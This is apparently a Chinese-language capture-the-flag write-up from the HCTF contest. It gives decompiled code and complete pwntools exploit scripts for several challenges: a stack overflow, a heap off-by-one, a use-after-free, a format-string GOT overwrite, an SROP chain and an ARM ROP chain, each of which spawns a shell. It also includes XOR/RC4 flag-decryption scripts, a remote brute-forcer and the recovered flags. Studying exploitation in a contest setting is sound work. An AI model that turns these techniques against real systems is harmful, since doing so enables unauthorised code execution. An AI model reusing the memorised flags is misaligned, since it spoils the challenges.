这回基本没有crypto,pwn题后几个有难度,一直整不出来,等WP
只要求输入与密码相同,输入可以覆盖到密码
int __cdecl main(int argc, const char **argv, const char **envp)
{
char user_password[32]; // [rsp+0h] [rbp-50h] BYREF
char otp_password[32]; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 v7; // [rsp+48h] [rbp-8h]
v7 = __readfsqword(0x28u);
puts("------------------------------------------------------------");
puts("---------------[ Pwners Secret Club Access ]----------------");
puts("------------------------------------------------------------");
memset(user_password, 0, sizeof(user_password));
memset(otp_password, 0, sizeof(otp_password));
generate_otp(otp_password, 32); // 大写随机字母
printf("Enter password: ");
fgets(user_password, 50, _bss_start);
user_password[strcspn(user_password, "\n")] = 0;
if ( !user_password[0] )
{
puts("Invalid input...");
exit(1);
}
if ( !strcmp(user_password, otp_password) )
{
puts("Authenticated!");
system("/bin/sh");
}
else
{
puts("Authentication failed...");
}
return v7 - __readfsqword(0x28u);
}
直接向后覆盖就行
from pwn import *
p = remote('hctf.hackappatoi.com', 10001)
context.log_level = 'debug'
p.send(b'AAA'.ljust(0x20, b'\x00')+b'AAA\x00'.ljust(0x20, b'\x00'))
p.interactive()
#HCTF{Ev3rY_p\/Vn_st4r7_w17h_dr1nk5}
有3个菜单,增加删除和检查,增加的时候有个错位,每次增加两个但计数只增加1,check时只检查第2个是否为指定值
__int64 add_user()
{
int v0; // ebx
int v1; // ebx
int fd; // [rsp+4h] [rbp-1Ch]
if ( usr_cnt > 4 )
exit(0);
v0 = usr_cnt;
*((_QWORD *)&user_tuples + v0) = malloc(0x10uLL);
printf("Insert username: ");
read(0, *((void **)&user_tuples + usr_cnt), 0x10uLL);
v1 = usr_cnt + 1;
*((_QWORD *)&user_tuples + v1) = malloc(0x10uLL);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
exit(0);
if ( read(fd, *((void **)&user_tuples + usr_cnt + 1), 0x10uLL) < 0 )
exit(0);
return (unsigned int)++usr_cnt; //只进行了一次usr_cnt
}
unsigned __int64 check()
{
size_t v0; // rax
unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
v2 = 0;
puts("Oh you are the new barist?");
puts("choose your fake identity");
printf("> ");
__isoc99_scanf("%u", &v2);
if ( v2 <= 4 )
{
v0 = strlen(secret);
if ( !strncmp(*((const char **)&user_tuples + v2 + 1), secret, v0) )
system("/bin/sh");
}
puts("Oh nous you are screwed!");
return v3 - __readfsqword(0x28u);
}
这样就只需要增加两块然后检查一个小点的块,居然没人作,结果手一抖输错了,再输就没有一血了。
┌──(kali㉿kali)-[~/ctf/hack/p6_heap_baby]
└─$ nc hctf.hackappatoi.com 10006
You are infront the Best Irishpub in the world
Chose your move!
1. Create a fake identity
2. Run and delete an identity
3. Try to access to the backdoor of the bar)
> 1
Insert username: quotidianabirra!
You are infront the Best Irishpub in the world
Chose your move!
1. Create a fake identity
2. Run and delete an identity
3. Try to access to the backdoor of the bar)
> 1
Insert username: quotidianabirra!
You are infront the Best Irishpub in the world
Chose your move!
1. Create a fake identity
2. Run and delete an identity
3. Try to access to the backdoor of the bar)
> 1
Insert username: quotidianabirra!
You are infront the Best Irishpub in the world
Chose your move!
1. Create a fake identity
2. Run and delete an identity
3. Try to access to the backdoor of the bar)
> 3
Oh you are the new barist?
choose your fake identity
> 1
ls
flag
heap_baby
run.sh
cat flag
HCTF{aaah_1nc0gn1t0_b4r1st4}
同样的题居然出2了,修补了上题+1错位的问题,但free时没清指针
void __cdecl add_user()
{
unsigned int v0; // ebx
unsigned int v1; // ebx
unsigned int user_idx; // [rsp+Ch] [rbp-24h] BYREF
int fdrand; // [rsp+10h] [rbp-20h]
int read_bytes; // [rsp+14h] [rbp-1Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-18h]
v5 = __readfsqword(0x28u);
user_idx = 0;
puts("in which pocket you want to save your new identity? (0-4)");
printf("> ");
__isoc99_scanf("%u", &user_idx);
if ( user_idx > 4 )
{
puts("nope is not a place that!");
}
else
{
user_idx *= 2;
v0 = user_idx;
user_tuples[v0] = (char *)malloc(0x10uLL);
v1 = user_idx + 1;
user_tuples[v1] = (char *)malloc(0x10uLL);
printf("Insert username: ");
read(0, user_tuples[user_idx], 0x10uLL);
fdrand = open("/dev/urandom", 0);
if ( fdrand < 0 )
exit(0);
read_bytes = read(0, user_tuples[user_idx + 1], 0x10uLL);
if ( read_bytes < 0 )
exit(0);
}
}
void __cdecl rm_user()
{
unsigned int user_idx; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
user_idx = 0;
puts("What fake name you want to delete (0-4)");
printf("> ");
__isoc99_scanf("%u", &user_idx);
if ( user_idx > 4 )
{
printf("Oh nous you cant chose that");
fflush(stdout);
exit(0);
}
free(user_tuples[user_idx]);
free(user_tuples[user_idx + 1]);
}
当建一个块然后删掉再建时,正好与原来的顺序相反。这样先建块然后删掉,再建(idx用新的)
检查旧idx时即可得到shell
有printf格式化字符串漏洞,和后门pay_any_get_beer,结束时调用exit并且got表无保护
void __cdecl __noreturn bar_queue()
{
unsigned int v0; // eax
unsigned int hours; // [rsp+Ch] [rbp-54h]
char buffer[64]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]
v3 = __readfsqword(0x28u);
memset(buffer, 0, sizeof(buffer));
hours = 1;
...
printf(&format, main); // 给出程序加载地址
...
printf("> ");
gets(buffer);
printf(buffer); // 格式化字符串
putchar(10); // got[exit]=pay_and_get_beer
puts(s);
...
exit(0);
}
直接调用fmtstr_payload(10,{elf.got['exit']: elf.sym['pay_and_get_beer']})
非常短的程序,有write和read
.text:0000000000401000 ; __unwind {
.text:0000000000401000 F3 0F 1E FA endbr64
.text:0000000000401004 55 push rbp
.text:0000000000401005 48 89 E5 mov rbp, rsp
.text:0000000000401008 48 C7 45 F8 00 00 00 00 mov qword ptr [rbp+buf], 0
.text:0000000000401010 8B 15 2E 34 00 00 mov edx, cs:len_header ; count
.text:0000000000401016 B8 01 00 00 00 mov eax, 1
.text:000000000040101B BF 01 00 00 00 mov edi, 1 ; fd
.text:0000000000401020 48 8D 0D D9 2F 00 00 lea rcx, b_header ; "\n"
.text:0000000000401027 48 89 CE mov rsi, rcx ; buf
.text:000000000040102A 0F 05 syscall ; LINUX - sys_write
.text:000000000040102C 8B 15 16 34 00 00 mov edx, cs:len_welcome ; count
.text:0000000000401032 B8 01 00 00 00 mov eax, 1
.text:0000000000401037 BF 01 00 00 00 mov edi, 1 ; fd
.text:000000000040103C 48 8D 0D 7D 31 00 00 lea rcx, b_welcome ; "\n"
.text:0000000000401043 48 89 CE mov rsi, rcx ; buf
.text:0000000000401046 0F 05 syscall ; LINUX - sys_write
.text:0000000000401048 B8 00 00 00 00 mov eax, 0
.text:000000000040104D BF 00 00 00 00 mov edi, 0 ; fd
.text:0000000000401052 48 8D 4D F8 lea rcx, [rbp+buf]
.text:0000000000401056 BA 00 04 00 00 mov edx, 400h ; count
.text:000000000040105B 48 89 CE mov rsi, rcx ; buf
.text:000000000040105E 0F 05 syscall ; LINUX - sys_read
.text:0000000000401060 90 nop
.text:0000000000401061 5D pop rbp
.text:0000000000401062 C3 retn
.text:0000000000401062 ; } // starts at 401000
有syscall这后边写rop应该很容易了,只是这里没有bin/sh,也没有直接控制rax,rdi的方法
记得原来有一个题rootersctf_2019_srop 有pop_rax_syscall_leave_ret这个gadget,这里中差个pop_rax,其实只要控制了rax就能通过sigret来得到shell。这里读入数据时会返回读入的长度到rax,可以利用这个gadget来控制rax.
1通过pop_rbp控制rbp将/bin/sh写入bss,并控制写的长度为15,rax=15
2然后调用sigreturn
from pwn import *
#p = process('./minimal_bar')
p = remote('hctf.hackappatoi.com', 10004)
context(arch='amd64', log_level='debug')
bss = 0x404800
bin_sh = bss-8
call_ret = 0x40105e
read_ret = 0x401048
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rsp = bin_sh
frame.rip = call_ret
#pop一个bss的地址到rbp将bin/sh写入,并将读入的长度15存入rax,再利用rax=15调用syscall:sigret获得exec
pay = flat(b'A'*8, bss, read_ret, bss, call_ret, frame)
p.sendafter(b'> ', pay)
sleep(0.2)
p.send((b'/bin/sh\x00').ljust(15, b'\x00')) #输入15字符,read返回读长度15到rax,调用sigret
p.interactive()
ARM的东西没弄过,按着网上搜着的样子,大概栈结果和x86是一样的,这样可以控制到ret到后门,但是参1的/bin/sh不会弄了,今天网上有了wp,复现一下。
1,从两个printf得到加载地址和canary,不过加载地址可以省略,因为这个题一直加载到5500000000上。
8 0x5502821b40 0x5502821b10->b40
9 0x5500000ca8 main->shot2
10 (nil)
11 0x7024313125 %11$p
12 0x5502821ce8
13 0x2645eb79dd544900 canary canary
14 0x5502821b60 0x5502821b40->b60 0
15 0x550289772c ? secret+0x2c
2,ADD X0, SP, #0x30+arg 这个命令别看差了,它是把x0 = sp+0x30+arg 这样,只要不从开头进入secret就可以让栈错位,从而读到下部rop里的/bin/sh
.text:0000000000000A54 FD 7B BD A9 STP X29, X30, [SP,#var_30]!
.text:0000000000000A58 FD 03 00 91 MOV X29, SP
.text:0000000000000A5C E0 0F 00 F9 STR X0, [SP,#0x30+arg]
.text:0000000000000A60 E0 00 00 F0 ADRP X0, #__stack_chk_guard_ptr@PAGE
.text:0000000000000A64 00 F4 47 F9 LDR X0, [X0,#__stack_chk_guard_ptr@PAGEOFF]
.text:0000000000000A68 01 00 40 F9 LDR X1, [X0]
.text:0000000000000A6C E1 17 00 F9 STR X1, [SP,#0x30+var_8]
.text:0000000000000A70 01 00 80 D2 MOV X1, #0
.text:0000000000000A74 00 00 00 90 00 E0 33 91 ADRL X0, aHoorayYouFound ; s
.text:0000000000000A7C A1 FF FF 97 BL .puts
.text:0000000000000A7C
.text:0000000000000A80 E0 63 00 91 ADD X0, SP, #0x30+arg ; command
.text:0000000000000A84 8F FF FF 97 BL .system
WP
#!/usr/bin/env python3
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc
# Remote: python3 a.py remote ARMsinthe hctf.hackappatoi.com:10003
# debug in Ubuntu 22.04
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
sla("How many shots of ARMsinthe mate?\n-> ", "%9$p")
ru("You said ")
pwn_base = int(rl(),16) - 0xca8
elf.address = pwn_base
print('pwn:', hex(pwn_base))
sla("How many shots of ARMsinthe mate?\n-> ", "%13$p")
ru("You said ")
canary = int(rl(),16)
print('canary:', hex(canary))
pay = b'A'*64 + flat([
canary,0,elf.sym['secret']+0x2c,
0,canary, 0,0, #main canary
0, '/bin/sh\0' #SP=ret, SP+0x30=/bin/sh
])
sla("We are gonna have a problem here..\n -> ", pay)
ia()
#HCTF{m8_c4ll_th3_bARMan_w3_n33d_m0r3_sh0tz}
后边两题没整明白。估计和minimal_bar有些关系,但是没弄成。没有read,读入的时候比较长,也得不到15
R13里存的是rsp可以通mov [rsp+var60],r13;lea rsi,[rsp+var60],再write过这个得到rsp地址
.rodata:0000000000002000 4C 89 6C 24 A0 mov [rsp+var_60], r13
.rodata:0000000000002005 48 8D 74 24 A0 lea rsi, [rsp+var_60]
.rodata:000000000000200A C3 retn
.rodata:000000000000200A
.rodata:000000000000200A sub_2000 endp
.rodata:000000000000200A
.rodata:000000000000200B ; ---------------------------------------------------------------------------
.rodata:000000000000200B 90 nop
.rodata:000000000000200C 5D pop rbp
.rodata:000000000000200D C3 retn
.rodata:000000000000200D
.rodata:000000000000200E ; ---------------------------------------------------------------------------
.rodata:000000000000200E B8 01 00 00 00 mov eax, 1
.rodata:0000000000002013 BF 01 00 00 00 mov edi, 1
.rodata:0000000000002018 BA 08 00 00 00 mov edx, 8
.rodata:000000000000201D 0F 05 syscall ; LINUX - sys_write
.rodata:000000000000201F C3 retn
.rodata:000000000000201F
.rodata:0000000000002020 ; ---------------------------------------------------------------------------
.rodata:0000000000002020 5F pop rdi
.rodata:0000000000002021 C3 retn
.rodata:0000000000002021
.rodata:0000000000002022 ; ---------------------------------------------------------------------------
.rodata:0000000000002022 90 nop
.rodata:0000000000002023 5D pop rbp
.rodata:0000000000002024 C3 retn
打开就看着了
先异或再比较
v4 = [41,34,53,39,58,36,25,34,45,20,116,112,55,114,30,113,51,31,15,113,53,126,60]
bytes([i^0x41 for i in v4])
#hctf{eXclU51v3_0r^N0t?}
选1,2,3 每次加1,得到10,7,11就行了
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3[2]; // [rsp+8h] [rbp-8h] BYREF
puts("Welcome to the Hackappapub ! ");
while ( 1 )
{
puts("What do you want to drink ?");
puts("1)Hackappa beer");
puts("2)Hackappa Cocktail");
puts("3)Hackappacola ");
v3[0] = 0;
__isoc99_scanf("%d", v3);
holder(v3[0]);
if ( b == 6 && c == 6 && h == 6 )
break;
if ( b == 10 && c == 7 && h == 11 )
decrypt();
}
v3[1] = out();
exit(1);
}
一个简单的RC4加密
_DWORD *__fastcall KSA(__int64 a1, int a2)
{
int i; // [rsp+18h] [rbp-18h]
int v4; // [rsp+1Ch] [rbp-14h]
int j; // [rsp+20h] [rbp-10h]
int v6; // [rsp+24h] [rbp-Ch]
_DWORD *v7; // [rsp+28h] [rbp-8h]
v7 = malloc(0x400uLL);
for ( i = 0; i <= 255; ++i )
v7[i] = i;
v4 = 0;
for ( j = 0; j <= 254; ++j )
{
v4 = (v7[j] + v4 + *(_DWORD *)(4LL * (j % a2) + a1)) % 256;
v6 = v7[j];
v7[j] = v7[v4];
v7[v4] = v6;
}
return v7;
}
_DWORD *__fastcall PRGA(__int64 key, __int64 plan, __int64 ksa, int plan_len)
{
int v7; // [rsp+28h] [rbp-18h]
int v8; // [rsp+2Ch] [rbp-14h]
int i; // [rsp+30h] [rbp-10h]
int v10; // [rsp+34h] [rbp-Ch]
_DWORD *v11; // [rsp+38h] [rbp-8h]
v7 = 0;
v8 = 0;
v11 = malloc(4LL * plan_len);
for ( i = 0; i < plan_len; ++i )
{
v7 = (v7 + 1) % 256;
v8 = (v8 + *(_DWORD *)(4LL * v7 + ksa)) % 256;
v10 = *(_DWORD *)(4LL * v7 + ksa);
*(_DWORD *)(4LL * v7 + ksa) = *(_DWORD *)(4LL * v8 + ksa);
*(_DWORD *)(ksa + 4LL * v8) = v10;
v11[i] = *(_DWORD *)(4LL * ((*(_DWORD *)(4LL * v8 + ksa) + *(_DWORD *)(4LL * v7 + ksa)) % 256) + ksa) ^ *(_DWORD *)(4LL * i + plan);
}
return v11;
}
先得到流,可以写也可以gdb跟进看流
c = [61,164,170,39,239,123,13,77,104,196,194,153,26,117,248,2,50,15,139,116,25,151,157]
def get_ksa(key):
v7 = [i for i in range(256)]
v4 = 0
for j in range(255):
v4 = (v7[j] + v4 + key[j%len(key)])%256
v7[j], v7[v4] = v7[v4], v7[j]
return v7
def prga(ksa, plan):
v7 = 0
v8 = 0
v11 = [0 for i in range(len(plan))]
for i in range(len(plan)):
v7 = (v7+1)%256
v8 = (v8 + ksa[v7])%256
v10 = ksa[v7]
ksa[v7],ksa[v8] = ksa[v8],ksa[v7]
v11[i] = ksa[(ksa[v8] + ksa[v7]) % 256] ^ plan[i]
return v11
ksa = get_ksa(b'play')
stream = prga(ksa, b'\x00'*len(c))
plan = [stream[i]^c[i] for i in range(len(c))]
print(bytes(plan))
#R351d3N7_3viL_5CarY_Uh?
#hctf{R351d3N7_3viL_5CarY_Uh?}
题目只给了个远程,是个盲爆的题,随便输入flag格式的串会返回相似程序,如果输入字母正确,返回数就会大一点,这样一个个字节的爆即可。因为每次都要新开链接,所以时间比较长。
from pwn import *
context.log_level = 'error'
def get_v(t):
p = remote('hctf.hackappatoi.com', 9001)
p.sendlineafter(b'flag?\n', t.encode())
r = eval(p.recvline())
p.close()
return r
h = 'HCTF{'
tb = 0
while True:
set_v = {}
tv = ''
for i in range(0x21,0x7f):
t = h+chr(i)
v = get_v(t)
#print(chr(i), v)
if v> tb:
tv = chr(i)
tb = v
h += tv
print(h, tb)
#break
#HCTF{wh4t5_yo0r_4lch0l_p3rc3nt4g3}